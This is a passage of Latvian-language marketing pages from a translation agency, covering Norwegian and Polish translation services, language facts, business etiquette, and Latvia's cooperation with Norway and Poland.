iedzīvotāju skaits tajā ir vien ap 5 miljoniem cilvēku. Norvēģija ir ļoti neatkarīga un tai patīk pašai kārtot savas lietas, tāpēc tā joprojām vēl nav pievienojusies Eiropas Savienībai. Norvēģija, Islande, Šveice un Lihtenšteina ir EBTA (Eiropas Brīvās tirdzniecības zonas) un kopējās ES/EBTA ekonomiskās zonas un Eiropas Ekonomikas zonas dalībvalstis. Norvēģija un Islande, kas nav ES dalībvalstis, ir Šengenas vīzu līguma dalībvalstis. Tas nozīmē, ka Norvēģijas iedzīvotāji bauda tādu pašu ceļošanas brīvību, kā ES dalībvalstu pilsoņi. Ir zināms, ka norvēģi ir ļoti patriotiski un lepojas ar savu valsti. Viņi gandrīz noteikti domā, ka Norvēģijai ir lielāka nozīme pasaules arēnā nekā patiesībā. Norvēģu valoda ir galvenā valoda, bet tālajos ziemeļos sāmiem ir sava valoda, kas pilnīgi atšķiras no norvēģu valodas. Norvēģi vienmēr ir novērtējuši svešvalodu zināšanas. Tā kā viņu valoda ir tik maza, viņi ir spiesti mācīties citas valodas, lai sazinātos ar visu pārējo pasauli. Gandrīz visi norvēģi runā izcilā angļu valodā. Salīdzinot ar citām Eiropas valstīm, norvēģi ir pazīstami ar labām angļu valodas zināšanām. Daudziem norvēģiem patīk izrādīt savas prasmes saskarsmē ar vāciski runājošajiem, tādēļ lielākā daļa norvēģu lieto arī vācu valodu. Pēdējo gadu laikā norvēģu studentu vidū ir vērojama tendence izvēlēties spāņu valodu kā svešvalodu. Veicot darījumus ar norvēģiem, ir gudri paturēt prātā, ka norvēģi ir neformāli cilvēki. Viņi varētu radīt iespaidu, ka ir auksti un attālināti, taču tas ir tikai tāpēc, ka viņi ir kautrīgi un parasti nerunā ar svešiniekiem. Viņiem patīk rīkoties profesionāli un, veicot uzņēmējdarbību, kontrolēt savas personīgās jūtas. Parasti norvēģiem ir vajadzīgs laiks, lai atvērtos un izveidotu kontaktu ar ārvalstniekiem. Bet, kad viņi beidzot to izdarīs, sadarbība būs ilgstoša. Norvēģi ir aizdomīgi pret cilvēkiem, kuri sākumā ir pārāk atvērti un pretimnākoši, un uzskata, ka tas ir viltīgi un virspusēji. Veicot uzņēmējdarbību, norvēģiem patīk aprobežoties ar dažām minūtēm, un pēc tam ķerties pie lietas. Viņiem nepatīk tērēt laiku, runājot par lietām, kam nav jēgas. Norvēģi augstu vērtē punktualitāti un pieturēšanos pie plānotā grafika, par ko iepriekš vienojas. Viņi labprātāk nestrādā virsstundas, un, ja problēma nav atrisināta līdz pulksten 16 piektdienas pēcpusdienā, labāk to vienkārši atstāj uz pirmdienas rītu. Zināms, ka norvēģi savu profesionālo dzīvi nodala arī no privātās. Kad tikšanās ir beigusies, viņi parasti iet katrs savu ceļu un, visticamāk, neuzaicinās uz mājām jaunu biznesa partneri. Norvēģi uzliek ļoti augstu cenu savai privātajai dzīvei, un viņi novērtē laiku kopā ar draugiem un ģimeni. Nedēļas nogalēs viņiem patīk atrauties no ikdienas stresa, tātad lielākajai daļai pieder hytte, kas ir mājiņa/kalnu māja, kas atrodas idilliskā vietā pie dabas. Viņiem patīk savas kalnu nogāzes, ezeri un kalni, un viņi ir milzīgi kalnu pastaigu, pārgājienu un makšķerēšanas cienītāji. Tātad norvēģu valoda nespēlē lielu lomu pasaules biznesa arēnā, bet tai ir liela nozīme, ja vēlaties kļūt par uzticamu biznesa partneri vai veidot savu biznesu Norvēģijā. Biznesa darījumus norvēģi būs gatavi atrunāt angliski, arī vāciski, bet, ja potenciālajam sadarbības partnerim būs norvēģu valodas zināšanas, tad veiksme biznesa attīstīšanā šajā bagātajā un ekonomiski perspektīvajā valstī būs garantēta. NORVĒĢIJAS UN LATVIJAS SADARBĪBA Latvijas un Norvēģijas sadarbība ir plaša un daudzveidīga. Augstu vērtējama sadarbība aizsardzības un militārajā jomā, kultūrā un ekonomiskā. Norvēģija ir nozīmīgs Latvijas ārējās tirdzniecības partneris un abu valstu starpā pastāv stabilas ekonomiskās attiecības. Norvēģijā darbojas Latvijas ārējā ekonomiskā pārstāvniecība, kas sniedz atbalstu Latvijas uzņēmējiem eksporta veicināšanā, informāciju par uzņēmējdarbības uzsākšanu, un iespējām realizēt investīciju projektus, kā arī sniedz palīdzību ārējās tirdzniecības veicināšanai. Kultūras saiknes starp Latviju un Norvēģiju tradicionāli ir ļoti ciešas. Sadarbība notiek starp bibliotēkām un rakstniecības organizācijām, teātriem, mūziķiem, kino veidotājiem, dizaineriem, festivālu organizatoriem, vizuālo mākslu pārstāvjiem, muzeju speciālistiem, kultūrizglītības iestādēm, un daudzu citu ar kultūras jomas profesiju pārstāvjiem. Ar EEZ/Norvēģijas finanšu instrumentu palīdzību atjaunots Raiņa un Aspazijas muzejs, un Jāņa Akuratera muzejs, kur sadarbības partneris bija Lillehammeres muzeju apvienība. Tāpat ar finanšu instrumenta daļēju atbalstu atjaunota arī Rēzeknes Zaļā sinagoga. Sadarbība ar Norvēģiju izglītības jomā notiek galvenokārt daudzpusējo programmu un projektu ietvaros, gan arī atsevišķu institūciju un pašvaldību sadarbības līgumu un projektu ietvaros. Daļa Latvijas valsts un privāto augstākās izglītības iestāžu aktīvi sadarbojas ar Norvēģijas augstākās izglītības iestādēm. Norvēģu valodu apgūst trīs Latvijas vispārizglītojošo skolu skolēni – Ziemeļvalstu ģimnāzijā, Rīgas Ķengaraga vidusskolā un Valmieras Pārgaujas ģimnāzijā. Latvijas izglītības iestāžu un citas organizācijas sadarbojas ar Norvēģijas atbilstošām organizācijām Eiropas Savienības izglītības, mācību, jaunatnes un sporta programmas „Erasmus+” un „Erasmus+: Jaunatne darbībā” ietvaros. Latviju un Norvēģiju aizsardzības jomā vieno dalība Ziemeļatlantijas Līguma organizācijā − NATO. Vēsturiski Norvēģija sniegusi nozīmīgu atbalstu Latvijas aizsardzības nozares attīstībā, palīdzot modernizēt Latvijas Nacionālos bruņotos spēkus, palīdzot izveidot Nesprāgušas munīcijas neitralizēšanas skolu un Latvijas Nacionālo bruņoto spēku Jūras spēku mācību centra Ūdenslīdēju skolu. Notiek arī pastāvīga sadarbība starp Speciālo uzdevumu vienībām. Norvēģija atbalsta ar pasniedzējiem Baltijas Jūras Spēku Starptautisko kursu Latvijā un Baltijas Aizsardzības koledžu − BALTDEFCOL. Norvēģija arī dāvinājusi Latvijai militāro ekipējumu. Abu valstu bruņotie spēki piedalījušies mācībās gan Latvijā, gan Norvēģijā. NATO drošības stiprināšanas pasākumu ietvaros Latvijā uzturējušies Norvēģijas bruņotie spēki, kas piedalījušies arī Latvijas valsts proklamēšanas dienas parādēs. Norvēģijas Gaisa Spēku lidmašīnas vairākkārt piedalījušās Baltijas valstu gaisa telpas patrulēšanā. Norvēģijas Karalistes vēstniecība atrodas Rīgā, ārkārtējais un pilnvarotais vēstnieks Latvijā kopš 2018. gada 4. septembra ir Kristians Ēdegors (Kristian Ødegaard). Vairāk par Norvēģijas un Latvijas sadarbību lasiet vēstniecības mājaslapā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM NORVĒĢU VALODĀ: dažādu dokumentu tulkošana norvēģu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums norvēģu valodā; mājaslapu tulkošana; norvēģu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi norvēģu valodā; norvēģu valodas kursi. NORVĒĢU VALODAS KOMBINĀCIJAS: norvēģu–latviešu; latviešu–norvēģu; norvēģu–lietuviešu; lietuviešu–norvēģu; igauņu–norvēģu; norvēģu–igauņu; angļu–norvēģu; norvēģu–angļu; krievu–norvēģu; norvēģu–krievu; poļu–norvēģu; norvēģu–poļu; ukraiņu–norvēģu; norvēģu–ukraiņu; čehu–norvēģu; norvēģu–čehu; vācu–norvēģu; norvēģu–vācu; spāņu–norvēģu; norvēģu–spāņu; franču–norvēģu; norvēģu–franču; itāļu–norvēģu; norvēģu–itāļu; dāņu–norvēģu; norvēģu–dāņu; zviedru–norvēģu; norvēģu–zviedru; norvēģu–norvēģu; norvēģu–norvēģu; somu–norvēģu; norvēģu–somu u. c. --- > Dažādu dokumentu tulkojumi un pasākumu tulkojumi poļu valodā. Saņemiet bezmaksas cenas piedāvājumu tikai 15 minūtēs! - Published: 2017-09-29 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/ - Translation Priorities: Optional TULKOJUMI POĻU VALODĀ / TULKOT POĻU VALODĀ CIK MAKSĀ TULKOJUMI POĻU VALODĀ? Tulkojumu cena no un uz poļu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti dažādi tieši jūsu pasūtījumam raksturīgi parametri, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda. Sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz poļu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Katru reizi Skrivanek tulkošanas projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM POĻU VALODĀ: dokumentu tulkojumi poļu valodā; steidzami rakstiskie tulkojumi; tulkojumi ar notāra apliecinājumu; lokalizācija; mājaslapu tulkošana poļu valodā; mašīntulkošana ar rediģēšanu; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi poļu valodā; individuālie poļu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus poļu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI POĻU VALODĀ / TULKOT POĻU VALODĀ CIK MAKSĀ TULKOJUMI POĻU VALODĀ? Tulkojumu cena no un uz poļu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti dažādi tieši jūsu pasūtījumam raksturīgi parametri, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda. Sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz poļu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Katru reizi Skrivanek tulkošanas projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM POĻU VALODĀ: dokumentu tulkojumi poļu valodā; steidzami rakstiskie tulkojumi; tulkojumi ar notāra apliecinājumu; lokalizācija; mājaslapu tulkošana poļu valodā; mašīntulkošana ar rediģēšanu; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi poļu valodā; individuālie poļu valodas kursi. Meklējiet valodu risinājumus poļu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR POLIJU UN POĻU VALODU Poļu valodas dialekti ir iedalāmi divās pamatgrupās. Pirmā ir austrumlehītu dialektu grupa, kurā ietilpst četri poļu valodas dialekti: Lielpolijas, Mazpolijas, Mazūrijas un Silēzijas dialekts. Otrā ir viduslehītu (piejūras) dialektu grupa, kurā ietilpst kašūbu dialekts, kas bieži tiek uzskatīts par atsevišķu valodu. Mūsdienās dzīvs un lietots ne tikai lauku iedzīvotāju vidū ir vienīgi Silēzijas dialekts. Kašūbu valodai vairāk ir reģionālās valodas statuss. Poļu valodas attīstības periodizācija pēc statusa un izplatības: vecpoļu valoda (līdz kopīgas poļu valodas izveidošanās brīdim 16. gadsimts); no 16. līdz 18. gadsmita vidum (līdz ar poļu literārās valodas izveidošanos un normēšanas sākumu); jaunpoļu valoda (poļu valodas kultūras veidošanās un valodas izplatīšanās visos sabiedrības slāņos); mūsdienu valoda (pēc Otrā pasaules kara un valsts valodas statusa atgūšanas). Poļu valoda kā atsevišķa valoda sāka veidoties 10. gs. Poļu valodā ir aptuveni 140 000 vārdu. Kā jau visas slāvu valodas, poļu valoda ir bagāta ar deminutīviem, kas lieliski kalpo dažādu ekspresiju paušanai. Čikāga tiek uzskatīta par vislielāko poļu minoritātes mājvietu ASV. Poļu valodā ir rekordliels vārdu skaits, kas ir īsts pārbaudījums ikvienam poļu valodas studentam, piemēram: szczęście (laime), źdźbło (zāles stiebrs), pszczoła (bite) un daudzi citi. Ja runājam par poļu valodu kā vienu no sarežģītākajām valodām pasaulē, tad tam ir apliecinājums pat modes pasaulē – ļoti populāri ir T krekli ar uzrakstu I speak POLISH. What’s your superpower? Poļu valodā ir daudz burtu pāru, ar ko apzīmē vienu fonēmu (poļu: dwuznaki): cz, ch, sz, rz, dz, dż un dź. Tas padara vārdus patiešām grūti izrunājamus, un tāpēc poļu valoda tiek uzskatīta par grūti apgūstamu valodu. Patiesībā Polijas pilsētas Łódź vārdu poļi izrunā kā Vudža nevis Lodza, kā ir ierasts to saukt latviešu valodā. Polijas lepnums un viens no visu laiku ievērojamākajiem poļu un pasaules mūziķiem, kā arī klaviermūzikas autoriem un izpildītājiem ir Frideriks Šopēns. Runā, ka viņa sirds ir apglabāta Varšavas Svētā Krusta baznīcā. Varšavā ir izvietoti vairāki soliņi, kas atskaņo Šopēna skaņdarbu fragmentus. Polijas pilsētā Toruņā 16. gadsimtā ir dzimis izcilais astronoms Nikolajs Koperniks. Ja dāvināt ziedus kādam Polijā, pārliecinieties, ka tie tiek dāvināti nepāra skaitā, un izvairieties no ziediem, kuriem ir kultūras nozīme, jo īpaši no dzeltenām krizantēmām, kuras izmanto bērēs, un no sarkaniem vai baltiem ziediem, piemēram, neļķēm un lilijām. Polija ir lielākā dzintara eksportētājvalsts pasaulē – tiek lēsts, ka Polijas produkcijas īpatsvars pasaules tirgū var sasniegt pat 70%. Polijā dzīvo Eiropas smagākie dzīvnieki. Eiropas bizons ir smagākais sauszemes dzīvnieks Eiropā, kas vidēji sver vairāk nekā 600 kg. Tos var atrast klejojam 150 000 hektāru lielajā Belovežas gāršā Polijā – pēdējā pirmatnējā mežā Eiropā, kas reiz pletās pāri visam kontinentam. Marija Kirī, sieviete, kura atklāja poloniju (starp citu, nosaukums tam dots par godu Marijas Kirī dzimtenei Polijai) un rādiju, nebija francūziete, bet poliete. Viņas vārds bija Marija Solomeja Sklodovska, pirms viņa apprecējās ar francūzi, vārdā Pjērs Kirī. Viņa bija pirmā sieviete, kas ieguvusi Nobela prēmiju, pirmā un līdz šim vienīgā sieviete, kas ieguvusi Nobela prēmiju divas reizes, divās dažādās zinātnēs. POĻU VALODAS ALFABĒTS Poļu valodas alfabēts balstās uz latīņu alfabētu. Mūsdienu poļu valodā ir 32 burti: Aa, Ąą, Bb, Cc, Ćć, Dd, Ee, Ęę, Ff, Gg, Hh, Ii, Jj, Kk, Ll, Łł, Mm, Nn, Ńń, Oo, Óó, Pp, Rr, Ss, Śś, Tt, Uu, Ww, Yy, Zz, Źź, Żż, svešvārdos arī Qq, Vv un Xx. Literārajā poļu valodā ietilpst astoņi patskaņi − a, o, u (rakstībā arī ó), e, i, y, ę (nazālais e), ą (nazālais o) bez garuma diferenciācijas − un līdzskaņi: b, c, cz, ć, d, dz, dź, dż, f, g, h (rakstībā arī ch), j, k, l, ł, m, n, ń, p, r, s, sz, ś, t, w, z, ż (rakstībā arī rz), ź. . CIK SAREŽĢĪTA IR POĻU VALODA? Poļu valoda ir viena no grūtākajām valodām pasaulē, ierindojoties 5. vietā tikai aiz mandarīnu, arābu, telugu un japāņu valodas. Lai gan poļu valodas pierakstam lieto latīņu alfabēta atvasinājumu, alfabētā ir papildu burti poļu valodas fonētiskajam pierakstam, gramatiskās iezīmes, līdzskaņu un divskaņu virknējumi vārdos, kas ir neraksturīgi citām valodām. Poļu valodas apgūšanai vienkāršas sarunvalodas līmenī būs nepieciešamas vismaz 44 nedēļas jeb 1100 mācību stundas. Tātad poļu valodas apgūšanā pirmais pārbaudījums būs vārdu izruna, it īpaši to vārdu, kuros ir līdzskaņu virknējumi, piemēram: bezwzględny (nesaudzīgs). Poļu valodā vienas fonēmas apzīmēšanai bieži tiek lietotas no diviem burtiem veidotas burtkopas, ir sastopamas arī no trīs burtiem veidotas burtkopas. Mazliet sarežģītāku valodas apguvi padarīs arī vairākas gramatiskās iezīmes: trīs dzimtes kategorijas, 7 gramatiskie locījumi, konjugācijas. KUR UN CIK DAUDZ RUNĀ POĻU VALODĀ? Poļu valoda ir dzimtā valoda apmēram 50 miljoniem runātāju visā pasaulē, ap 38 miljoniem cilvēku Polijā, 12 miljoniem Eiropas valstīs un 8 miljoniem cilvēku citviet pasaulē − ASV, Kanādā, Austrālijā. Galvenokārt poļu valodu lieto Polijā un tā ir poļu dzimtā valoda. Papildus tam, ka tā ir Polijas oficiālā valoda, tā ir arī diasporas valoda Centrālajā un Austrumeiropā, Eiropas valstīs, kā arī ASV, Austrālijā un Dienvidāfrikā. Ārpus Polijas dzīvo aptuveni 20 miljoni poļu izcelsmes cilvēku, tāpēc poļu diaspora ir viena no lielākajām pasaulē. Vislielākās poļu mazākumtautības ir Baltkrievijā, Ukrainā un Lietuvā. Salīdzinoši daudz poļu dzīvo un līdz ar to lieto poļu valodu arī Latvijā, Apvienotajā Karalistē, Rumānijā, Čehijā, Krievijā, Brazīlijā, Argentīnā, Amerikas Savienotajās Valstīs, Kanādā, Vācijā, Francijā, Austrālijā, Īrijā un Izraēlā. POĻU VALODAS TULKS UN TULKOTĀJS Skrivanek Baltic poļu valodas tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, sarežģītiem tehniskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu poļu valodā korektūru un stilistisko uzlabošanu, SEO satura veidošanu, pielāgojot to Polijas tirgum un poļu mentalitātei. Mūsu valodas speciālisti būs priecīgi pastāstīt par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam šādus tulkojumus no un uz poļu valodu – mājaslapu un e-komercijas satura tulkojumus, reklāmas saukļu adaptāciju, sadarbības līgumu, tiesību aktu, tiesu nolēmumu un uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo tulkošanu lietišķās vai cita veida sarunās, konferencēs un citos pasākumos, Zoom vidē un citās tiešsaistes platformās. Fiziskām personām veicam personu apliecinošo dokumentu, laulības apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. POĻU VALODA BIZNESĀ Komunikācija, iespējams, ir pats svarīgākais aspekts uzņēmējdarbībā, tomēr, veicot uzņēmējdarbību savā valstī, mēs to mēdzam uzskatīt par pašsaprotamu, jo mums ir darīšana ar cilvēkiem no savas kultūras. Lai dibinātu biznesa attiecības citā valstī, mums ir jāņem vērā gan attiecīgās valsts valoda un kultūra, gan arī komunikācijas un etiķetes īpatnības. Polija atrodas stratēģiskā vietā Eiropas centrā, kas padara to par ideālu investīciju vietu uzņēmumiem, kas vēlas eksportēt savu produkciju gan uz austrumiem, gan uz rietumiem. Tā tiek uzskatīta arī par vienu no ekonomiski stabilākajām un vienu no visstraujāk augošajām valstīm pasaulē. Polija ierindojas 15. vietā pasaulē kā valsts, kura ir labvēlīga uzņēmējdarbības uzsākšanai. Valstī ir stabila ekonomiskā situācija un tā nepārtraukti attīstās. Šobrīd ļoti liela interese un nepieciešamība pēc jauniem uzņēmumiem ir tieši restorānu biznesā, konsultāciju pakalpojumu sfērā, jo īpaši biznesa konsultāciju jomā, kā arī interneta veikalu, pasākumu organizatoru, IT pakalpojumu, sociālās aprūpes jomās. Kādi ir poļi biznesa sarunās? Poļu biznesa cilvēki parasti ir formāli un mazrunīgi. Tātad viņu komunikācijas uzvedība pirmajā tikšanās reizē, visticamāk, būs atturīga. Viņi parasti pasaka to, ko domā, un uzreiz runā par sadarbības iespējām un nākotni. Pirmajā tikšanās reizē viņi nejokos, joki tiek atstāti vairāk saviesīgiem pasākumiem. Poļi parasti nerunā skaļā balsī, tomēr viņi ir pašpārliecināti un izlēmīgi. Poļi ir labi izglītoti, augsti kvalificēti un ļoti kompetenti uzņēmēji. Poļu valoda ir oficiālā valsts valoda, taču lielākā daļa poļu runā vairāk nekā vienā valodā, jo Polija robežojas ar daudzām citām valstīm. Krievu, vācu un angļu valoda ir vispopulārākās svešvalodas, kuras lieto poļu uzņēmēji. Lielākā daļa poļu runā labā angļu valodā. Lai radītu labu iespaidu par sevi, ir vērts iemācīties vismaz dažus vārdus un frāzes poļu valodā. Tas noteikti veicinās sadarbības līgumu noslēgšanu un uzņēmējdarbības sākšanu Polijā. Svarīgi ir atcerēties, ka poļiem ir ļoti svarīga ģimene un poļi nelabprāt vēlas runāt par darba lietām ārpus ierastā darbalaika. Bieži Polijā darbadiena sākas plkst. 8. 00 no rīta un beidzas plkst. 16. 00. Polija ir ļoti birokrātiska valsts, kur joprojām personas statusam ir ļoti liela nozīme. Ārpus Polijas robežām poļu valoda netiek plaši lietota biznesa vajadzībām, jo lielākā daļa poļu valodas pratēju dzīvo savā valstī. POĻI LATVIJĀ Poļu minoritāte Latvijā ir aptuveni 45 584 poļu un (pēc Latvijas datiem no 2017. gada) veido 2,3% no Latvijas iedzīvotājiem. Vairums Latvijas poļu dzīvo gan Daugavpils, Rīgas un Jelgavas pilsētā, gan arī Daugavpils un Krāslavas novadā. Mūsdienu Latvijas teritorijā poļu tautības cilvēki dzīvo jau kopš 17. gadsimta. Krišjāņa Barona "Latvju dainās" apkopoti 173 tautasdziesmu varianti ar leksēmu "poļi", bet Latvijas Universitātes Literatūras, folkloras un mākslas institūta Latviešu folkloras fondu materiālos atrodami 205 poļu jeb poļaku tematikas tautasdziesmu varianti, turklāt visvairāk dziesmu nākušas no Latgales (43%) un Kurzemes (26%). Daļa latviešu tautasdziesmu par poļiem radušās kā atmiņas par poļu-krievu kariem vai kā apdziedāšanās dziesmas. Mūsdienās starp Latviju un Poliju ir izveidojušies ļoti cieši kontakti visās jomās un visos līmeņos. Visaktīvākā sadarbība notiek aizsardzības, iekšlietu, reģionālās attīstības, pašvaldību, kā arī izglītības un kultūras jomās. Viena no prioritātēm ir tirdzniecības un ekonomisko kontaktu veicināšana, kam ir liels potenciāls. Latvija ir ieinteresēta turpināt attīstīt šos kontaktus un stiprināt tos gan divpusēji, gan Baltijas jūras reģiona, Eiropas Savienības un NATO un starptautisko organizāciju, tostarp ANO, ietvaros. Latvijas un Polijas sadarbība izglītībā un kultūrā ir plaša un daudzveidīga. Abu valstu attiecību stiprināšanā nozīmīga loma ir poļu diasporai Latvijā. Latvijā dzīvo aptuveni 46 tūkstoši poļu, kas ir 2,3% no iedzīvotāju skaita valstī. Aktīvi darbojas Latvijas Poļu savienība un Poļu Kultūras centrs Daugavpilī, kas apvieno Latvijā dzīvojošās poļu kopienas pārstāvjus un poļu kultūras cienītājus. Latvijas un Polijas kultūras un izglītības sadarbības programma paredz abpusēju stipendiju piešķiršanu studijām, pētniecībai un dalībai vasaras skolās, sadarbību poļu mazākumtautību jautājumos, kā arī poļu valodas un literatūras un latviešu valodas, kultūras un literatūras speciālistu apmaiņu. Vispārējās izglītības jomā poļu valodas un kultūras apguvi īsteno vairākas izglītības iestādes Latvijā, kas nodrošina mazākumtautību izglītības programmas: Krāslavas grāfu Plāteru dzimtas vārdā nosauktā Poļu pamatskola; Rīgas Itas Kozakēvičas Poļu vidusskola; J. Pilsudska Daugavpils valsts poļu ģimnāzija; Rēzeknes Valsts poļu ģimnāzija. Polija pastāvīgi sniedz finansiālu un tehnisku atbalstu poļu skolu darbībai, nodrošina tās ar viesskolotājiem no Polijas, kā arī sniedz iespēju pedagogiem no Latvijas pilnveidot profesionālās iemaņas Polijā. Aktīva ir Latvijas un Polijas sadarbība augstākās izglītības jomā. Vairākas Latvijas augstskolas, piemēram, Latvijas Universitāte, Latvijas Lauksaimniecības universitāte, Latvijas Mākslas akadēmija ir noslēgušas sadarbības līgumus un studentu un mācībspēku apmaiņas līgumus ar Polijas augstskolām. Aktīva ir arī sadarbība kultūras jomā. Mākslinieki regulāri piedalās abās valstīs rīkotajos festivālos un koncertos, Latvijas mūzikas kolektīvi sadarbojas ar poļu diriģentiem. Starptautiskajai Rakstnieku un tulkotāju mājai izveidojusies cieša sadarbība ar Poliju, tur regulāri uzturas poļu rakstnieki, dzejnieki un tulkotāji. Latvijas Nacionālās bibliotēkas ilggadēja sadarbības partnere ir Varšavas Nacionālā bibliotēka, kā arī Polijas Sejma bibliotēka un Pomerānijas bibliotēka Ščecinā. Regulārus projektus ar Polijas pārstāvjiem īsteno Latvijas Laikmetīgās mākslas centrs, Latvijas Etnogrāfiskais brīvdabas muzejs, Memoriālo muzeju apvienība, Latvijas Nacionālais vēstures muzejs. Latvija saņem ievērojamu atbalstu no Polijas kultūras mantojuma saglabāšanā. Polija ir sniegusi atbalstu Pasienes klostera atjaunošanā, kas kopā ar Pasienes Sv. Dominika Romas katoļu baznīcu ir viena no skaistākajām un izcilākajām sakrālajām poļu jeb Austrumeiropas baroka stila celtnēm Latgalē un visā Latvijā. Baznīca kopš 1999. gada ir Eiropas kultūras mantojuma objektu sarakstā. Vairākus gadus notika Krāslavas Sv. Ludvika Romas katoļu baznīcas fresku restaurācija, kur praktiskos darbus veica restauratori no Polijas. Polijas valdība finansējusi restaurācijas darbus Krāslavas Romas katoļu baznīcā, veicot sānu altāra restaurāciju. Polijas valdība finansējusi arī Piedrujas Romas katoļu baznīcas altāra gleznojuma restaurāciju. Polijas Republikas vēstniecība Latvijā atklāta 1991. gada 12. novembrī. Pirms astoņpadsmit gadiem tagadējā Polijas vēstniece Latvijā Monika Mihališina strādāja Latvijas 